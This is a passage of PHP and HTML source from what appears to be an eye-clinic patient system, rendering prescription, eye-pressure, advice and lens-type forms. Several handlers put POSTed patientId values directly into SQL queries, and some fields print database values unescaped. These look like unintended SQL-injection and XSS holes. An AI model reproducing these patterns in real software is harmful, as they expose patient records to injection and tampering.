                                                &lt;input type=&quot;text&quot; class=&quot;form-control near_pg_cyl&quot; readonly id=&quot;near_pg_cyl&quot; name=&quot;near_pg_cyl&quot; value=&quot;&lt;?= htmlspecialchars($row['near_pg_cyl']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#axisModel&quot; data-input=&quot;near_pg_axis&quot;&gt;+&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control near_pg_axis&quot; readonly id=&quot;near_pg_axis&quot; name=&quot;near_pg_axis&quot; value=&quot;&lt;?= htmlspecialchars($row['near_pg_axis']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;select class=&quot; form-control rn_vnglId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;rn_vnglId&quot; name=&quot;rn_vnglId&quot;&gt;
                                               
                                                &lt;option value=&quot;&lt;?= htmlspecialchars($row['rn_vnglId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['rn_vnglId']) ?&gt;&lt;/option&gt;
                                                &lt;?php
                                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_vngl WHERE vnglId != '&quot;.$row['rn_vnglId'].&quot;' AND deleteStatus = '0'&quot;);
                                                while ($row1 = mysqli_fetch_array($query1)) {
                                                    echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                                }
                                                ?&gt;
                                            &lt;/select&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                &lt;/tbody&gt;
                            &lt;/table&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;

                &lt;!-- Left Eye Section --&gt;
                &lt;div class=&quot;col-12&quot;&gt;
                    &lt;div class=&quot;card-header&quot;&gt;
                        &lt;h4&gt;LEFT EYE&lt;/h4&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-md-12&quot; style=&quot;padding-right: 0px !important; padding-left: 0px !important;&quot;&gt;
                        &lt;div class=&quot;table-responsive&quot;&gt;
                            &lt;table class=&quot;table&quot;&gt;
                                &lt;thead class=&quot;thead-light&quot;&gt;
                                    &lt;tr&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;&lt;/th&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;SPH&lt;/th&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;CYL&lt;/th&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;AXIS&lt;/th&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;VN C GL&lt;/th&gt;
                                    &lt;/tr&gt;
                                &lt;/thead&gt;
                                &lt;tbody id=&quot;table-body&quot;&gt;
                                    &lt;tr&gt;
                                        &lt;td class=&quot;vertical-center&quot;&gt;
                                            &lt;h6&gt;DISTANCE&lt;/h6&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;dis_pg_sph_left&quot;&gt;+&lt;/button&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;dis_pg_sph_left&quot;&gt;-&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control dis_pg_sph_left&quot; readonly id=&quot;dis_pg_sph_left&quot; name=&quot;dis_pg_sph_left&quot; value=&quot;&lt;?= htmlspecialchars($row['dis_pg_sph_left']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;dis_pg_cyl_left&quot;&gt;+&lt;/button&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;dis_pg_cyl_left&quot;&gt;-&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control dis_pg_cyl_left&quot; readonly id=&quot;dis_pg_cyl_left&quot; name=&quot;dis_pg_cyl_left&quot; value=&quot;&lt;?= htmlspecialchars($row['dis_pg_cyl_left']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#axisModel&quot; data-input=&quot;dis_pg_axis_left&quot;&gt;+&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control dis_pg_axis_left&quot; readonly id=&quot;dis_pg_axis_left&quot; name=&quot;dis_pg_axis_left&quot; value=&quot;&lt;?= htmlspecialchars($row['dis_pg_axis_left']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;select class=&quot; form-control rd_vnglId_left&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;ld_vnglId&quot; name=&quot;ld_vnglId&quot;&gt;
                                                
                                                &lt;option value=&quot;&lt;?= htmlspecialchars($row['ld_vnglId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['ld_vnglId']) ?&gt;&lt;/option&gt;
                                                &lt;?php
                                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_vngl WHERE vnglId != '&quot;.$row['rd_vnglId_left'].&quot;' AND deleteStatus = '0'&quot;);
                                                while ($row1 = mysqli_fetch_array($query1)) {
                                                    echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                                }
                                                ?&gt;
                                            &lt;/select&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;tr&gt;
                                        &lt;td class=&quot;vertical-center&quot;&gt;
                                            &lt;h6&gt;NEAR&lt;/h6&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;near_pg_sph_left&quot;&gt;+&lt;/button&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;near_pg_sph_left&quot;&gt;-&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control near_pg_sph_left&quot; readonly id=&quot;near_pg_sph_left&quot; name=&quot;near_pg_sph_left&quot; value=&quot;&lt;?= htmlspecialchars($row['near_pg_sph_left']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;near_pg_cyl_left&quot;&gt;+&lt;/button&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;near_pg_cyl_left&quot;&gt;-&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control near_pg_cyl_left&quot; readonly id=&quot;near_pg_cyl_left&quot; name=&quot;near_pg_cyl_left&quot; value=&quot;&lt;?= htmlspecialchars($row['near_pg_cyl_left']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#axisModel&quot; data-input=&quot;near_pg_axis_left&quot;&gt;+&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control near_pg_axis_left&quot; readonly id=&quot;near_pg_axis_left&quot; name=&quot;near_pg_axis_left&quot; value=&quot;&lt;?= htmlspecialchars($row['near_pg_axis_left']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;select class=&quot; form-control rn_vnglId_left&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;ln_vnglId&quot; name=&quot;ln_vnglId&quot;&gt;
                                               
                                                &lt;option value=&quot;&lt;?= htmlspecialchars($row['ln_vnglId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['ln_vnglId']) ?&gt;&lt;/option&gt;
                                                &lt;?php
                                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_vngl WHERE vnglId != '&quot;.$row['rn_vnglId_left'].&quot;' AND deleteStatus = '0'&quot;);
                                                while ($row1 = mysqli_fetch_array($query1)) {
                                                    echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                                }
                                                ?&gt;
                                            &lt;/select&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                &lt;/tbody&gt;
                            &lt;/table&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
              &lt;button type=&quot;button&quot; class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;pg_show&quot;  onclick=&quot;submitPGForm(event)&quot;&gt;Submit&lt;/button&gt;
           &lt;/div&gt;
            
            &lt;?php
        }
    }

    if ($status == 'get-nct') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $PGQuery = &quot;SELECT * FROM patient_nct_data WHERE patientId = '$patientId'&quot;;
            $PGResult = mysqli_query($con, $PGQuery);
            $row = mysqli_fetch_assoc($PGResult);
            ?&gt;

            &lt;div class=&quot;row&quot;&gt;
                &lt;!-- Right Eye Section --&gt;
                &lt;div class=&quot;col-6&quot;&gt;
                    &lt;div class=&quot;box&quot;&gt;
                        &lt;h5&gt;Right Eye&lt;/h5&gt;
                        &lt;div class=&quot;dropdowns&quot;&gt;
                            &lt;div class=&quot;form-group&quot;&gt;
                                &lt;select class=&quot; form-control r_nctId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_nctId&quot; name=&quot;r_nctId&quot;&gt;

                                     &lt;option value=&quot;&lt;?= htmlspecialchars($row['r_nctId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['r_nctId']) ?&gt;mmHg&lt;/option&gt;
                                    &lt;?php
                                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_master_nct` WHERE `nctId` != '&quot;.$row['nctId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                    while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . 'mmHg&lt;/option&gt;';
                                    }
                                    ?&gt;
                                &lt;/select&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;

                &lt;!-- Left Eye Section --&gt;
                &lt;div class=&quot;col-6&quot;&gt;
                    &lt;div class=&quot;box&quot;&gt;
                        &lt;h5&gt;Left Eye&lt;/h5&gt;
                        &lt;div class=&quot;dropdowns&quot;&gt;
                            &lt;div class=&quot;form-group&quot;&gt;
                                &lt;select class=&quot; form-control l_nctId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_nctId&quot; name=&quot;l_nctId&quot;&gt;

                                    &lt;option value=&quot;&lt;?= htmlspecialchars($row['l_nctId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['l_nctId']) ?&gt;mmHg&lt;/option&gt;
                                    &lt;?php
                                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_master_nct` WHERE `nctId` != '&quot;.$row['nctId'].&quot;' AND `deleteStatus` = '0'&quot;);
                                    while ($row1 = mysqli_fetch_array($query1)) {
                                        echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . 'mmHg&lt;/option&gt;';
                                    }
                                    ?&gt;
                                &lt;/select&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
                &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;&quot; onclick=&quot;submitNCTForm(event)&quot;&gt;Submit&lt;/button&gt;
            &lt;/div&gt;

            &lt;?php
        }
    }

    if ($status == 'get-advise') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $AdQuery = &quot;SELECT * FROM patient_advise_data WHERE patientId = '$patientId'&quot;;
            $AdResult = mysqli_query($con, $AdQuery);
            $row = mysqli_fetch_assoc($AdResult);
            ?&gt;

            &lt;div class=&quot;col-md-12&quot;&gt;
                &lt;div class=&quot;form-group col-md-12&quot;&gt;
                    &lt;label for=&quot;advise&quot; class=&quot;form-control-label&quot;&gt;Advise&lt;/label&gt;&lt;br&gt;
                    &lt;textarea name=&quot;advise&quot; rows=&quot;4&quot; class=&quot;form-control&quot;&gt;&lt;?= htmlspecialchars($row['advise']) ?&gt;&lt;/textarea&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
                &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; onclick=&quot;submitAdForm(event)&quot;&gt;Submit&lt;/button&gt;
            &lt;/div&gt;

            &lt;?php
        }
    }

    if ($status == 'get-st') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $STQuery = &quot;SELECT * FROM patient_st_data WHERE patientId = '$patientId'&quot;;
            $STResult = mysqli_query($con, $STQuery);
            $row = mysqli_fetch_assoc($STResult);

            $selectedLensType = $row['lensType'];
            ?&gt;

            &lt;div class=&quot;card-header&quot;&gt;
              &lt;h4&gt;RIGHT EYE&lt;/h4&gt;
           &lt;/div&gt;
           &lt;div class=&quot;col-md-12&quot; style=&quot;padding-right: 0px !important; padding-left: 0px !important;&quot;&gt;
              &lt;div class=&quot;table-responsive&quot;&gt;
                 &lt;table class=&quot;table&quot;&gt;
                    &lt;thead class=&quot;thead-light&quot;&gt;
                       &lt;tr&gt;
                          &lt;th class=&quot;text-center&quot;&gt;&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;SPH&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;CYL&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;AXIS&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;VN C ST&lt;/th&gt;
                       &lt;/tr&gt;
                    &lt;/thead&gt;
                    &lt;tbody id=&quot;table-body&quot;&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;vertical-center&quot;&gt;
                             &lt;h6&gt;DISTANCE&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;dis_st&quot;&gt;+&lt;/button&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;dis_st&quot;&gt;-&lt;/button&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;dis_st&quot; name=&quot;dis_st&quot; value=&quot;&lt;?=$row['dis_st']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;dis_st_cyl&quot;&gt;+&lt;/button&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;dis_st_cyl&quot;&gt;-&lt;/button&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;dis_st_cyl&quot; name=&quot;dis_st_cyl&quot; value=&quot;&lt;?=$row['dis_st_cyl']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#axisModel&quot; data-input=&quot;dis_st_axis&quot;&gt;+&lt;/button&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;dis_st_axis&quot; name=&quot;dis_st_axis&quot; value=&quot;&lt;?=$row['dis_st_axis']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;rd_vnstId&quot; name=&quot;rd_vnstId&quot;&gt;
                               &lt;option value=&quot;&lt;?= htmlspecialchars($row['rd_vnstId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['rd_vnstId']) ?&gt;&lt;/option&gt;
                                &lt;?php
                                $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_master_vnst` WHERE `vnstId` != '&quot;.$row['vnstId'].&quot;' AND `deleteStatus` = '0'&quot;);
                               while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                }
                                ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;vertical-center&quot;&gt;
                             &lt;h6&gt;NEAR&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-success plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;near_st&quot; style=&quot;width: 100px;&quot;&gt;+&lt;/button&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; id=&quot;near_st&quot; name=&quot;near_st&quot; value=&quot;&lt;?=$row['near_st']?&gt;&quot; readonly&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex&quot;&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;near_st_cyl&quot; value=&quot;&lt;?=$row['near_st_cyl']?&gt;&quot; name=&quot;near_st_cyl&quot;&gt;

                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                &lt;input type=&quot;text&quot; readonly class=&quot;form-control text-bold&quot; id=&quot;near_st_axis&quot; value=&quot;&lt;?=$row['near_st_axis']?&gt;&quot; name=&quot;near_st_axis&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                    &lt;/tbody&gt;
                 &lt;/table&gt;
              &lt;/div&gt;
           &lt;/div&gt;
           &lt;div class=&quot;card-header&quot;&gt;
              &lt;h4&gt;LEFT EYE&lt;/h4&gt;
           &lt;/div&gt;
           &lt;div class=&quot;col-md-12&quot; style=&quot;padding-right: 0px !important; padding-left: 0px !important;&quot;&gt;
              &lt;div class=&quot;table-responsive&quot;&gt;
                 &lt;table class=&quot;table&quot;&gt;
                    &lt;thead class=&quot;thead-light&quot;&gt;
                       &lt;tr&gt;
                          &lt;th class=&quot;text-center&quot;&gt;&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;SPH&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;CYL&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;AXIS&lt;/th&gt;
                          &lt;th class=&quot;text-center&quot;&gt;VN C ST&lt;/th&gt;
                       &lt;/tr&gt;
                    &lt;/thead&gt;
                    &lt;tbody id=&quot;table-body&quot;&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;vertical-center&quot;&gt;
                             &lt;h6&gt;DISTANCE&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;dis_st_left&quot;&gt;+&lt;/button&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;dis_st_left&quot;&gt;-&lt;/button&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;dis_st_left&quot; name=&quot;dis_st_left&quot; value=&quot;&lt;?=$row['dis_st_left']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;dis_st_cyl_left&quot;&gt;+&lt;/button&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;dis_st_cyl_left&quot;&gt;-&lt;/button&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;dis_st_cyl_left&quot; name=&quot;dis_st_cyl_left&quot; value=&quot;&lt;?=$row['dis_st_cyl_left']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#axisModel&quot; data-input=&quot;dis_st_axis_left&quot;&gt;+&lt;/button&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;dis_st_axis_left&quot; name=&quot;dis_st_axis_left&quot; value=&quot;&lt;?=$row['dis_st_axis_left']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;select class=&quot; form-control &quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;ld_vnstId&quot; name=&quot;ld_vnstId&quot;&gt;

                                &lt;option value=&quot;&lt;?= htmlspecialchars($row['ld_vnstId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['ld_vnstId']) ?&gt;&lt;/option&gt;
                                &lt;?php
                                $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_master_vnst` WHERE `vnstId` != '&quot;.$row['vnstId'].&quot;' AND `deleteStatus` = '0'&quot;);
                               while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                }
                                ?&gt;
                             &lt;/select&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                       &lt;tr&gt;
                          &lt;td class=&quot;vertical-center&quot;&gt;
                             &lt;h6&gt;NEAR&lt;/h6&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-success plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;near_st_left&quot; style=&quot;width: 100px;&quot;&gt;+&lt;/button&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly class=&quot;form-control&quot; id=&quot;near_st_left&quot; name=&quot;near_st_left&quot; value=&quot;&lt;?=$row['near_st_left']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex&quot;&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;near_st_cyl_left&quot; name=&quot;near_st_cyl_left&quot; value=&quot;&lt;?=$row['near_st_cyl_left']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                             &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                &lt;input type=&quot;text&quot; class=&quot;form-control text-bold&quot; readonly id=&quot;near_st_axis_left&quot; name=&quot;near_st_axis_left&quot; value=&quot;&lt;?=$row['near_st_axis_left']?&gt;&quot;&gt;
                             &lt;/div&gt;
                          &lt;/td&gt;
                          &lt;td&gt;
                          &lt;/td&gt;
                       &lt;/tr&gt;
                    &lt;/tbody&gt;
                 &lt;/table&gt;
              &lt;/div&gt;
           &lt;/div&gt;
           &lt;div class=&quot;col-md-12&quot;&gt;
                &lt;div class=&quot;row&quot;&gt;
                    &lt;div class=&quot;col-lg-2 col-md-2&quot;&gt;
                        &lt;label class=&quot;radio-label&quot;&gt;
                            &lt;input type=&quot;radio&quot; class=&quot;lensType&quot; name=&quot;lensType&quot; value=&quot;Bifocal&quot; 
                            &lt;?= $selectedLensType == 'Bifocal' ? 'checked' : '' ?&gt;&gt; 
                            &lt;span style=&quot;font-size: 15px;&quot;&gt;Bifocal&lt;/span&gt;
                        &lt;/label&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-lg-4 col-md-4&quot;&gt;
                        &lt;label class=&quot;radio-label&quot;&gt;
                            &lt;input type=&quot;radio&quot; class=&quot;lensType&quot; name=&quot;lensType&quot; value=&quot;Near &amp; Distance Separate&quot; 
                            &lt;?= $selectedLensType == 'Near &amp; Distance Separate' ? 'checked' : '' ?&gt;&gt; 
                            &lt;span style=&quot;font-size: 15px;&quot;&gt;Near &amp; Distance Separate&lt;/span&gt;
                        &lt;/label&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-lg-2 col-md-2&quot;&gt;
                        &lt;label class=&quot;radio-label&quot;&gt;
                            &lt;input type=&quot;radio&quot; class=&quot;lensType&quot; name=&quot;lensType&quot; value=&quot;Progressive&quot; 
                            &lt;?= $selectedLensType == 'Progressive' ? 'checked' : '' ?&gt;&gt; 
                            &lt;span style=&quot;font-size: 15px;&quot;&gt;Progressive&lt;/span&gt;
                        &lt;/label&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-lg-3 col-md-4&quot;&gt;
                        &lt;label class=&quot;radio-label&quot;&gt;
                            &lt;input type=&quot;radio&quot; class=&quot;lensType&quot; name=&quot;lensType&quot; value=&quot;Computer Uses&quot; 
                            &lt;?= $selectedLensType == 'Computer Uses' ? 'checked' : '' ?&gt;&gt; 
                            &lt;span style=&quot;font-size: 15px;&quot;&gt;Computer Uses&lt;/span&gt;
                        &lt;/label&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group col-md-6 mt-3&quot;&gt;
                &lt;label&gt;Comment&lt;/label&gt;
                &lt;input type=&quot;text&quot; placeholder=&quot;&quot; name=&quot;st_comment&quot; id=&quot;st_comment&quot; class=&quot;form-control autonumber&quot; value=&quot;&lt;?=$row['st_comment']?&gt;&quot;&gt;
            &lt;/div&gt;
           &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
              &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;pg_st_show&quot; onclick=&quot;submitSTForm(event)&quot;&gt;Submit&lt;/button&gt;
           &lt;/div&gt;

            &lt;?php
        }
    }

    if ($status == 'get-oe') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $OEQuery = &quot;SELECT * FROM patient_oe_data WHERE patientId = '$patientId'&quot;;
            $OEResult = mysqli_query($con, $OEQuery);
            $OE = mysqli_fetch_assoc($OEResult);
            ?&gt;

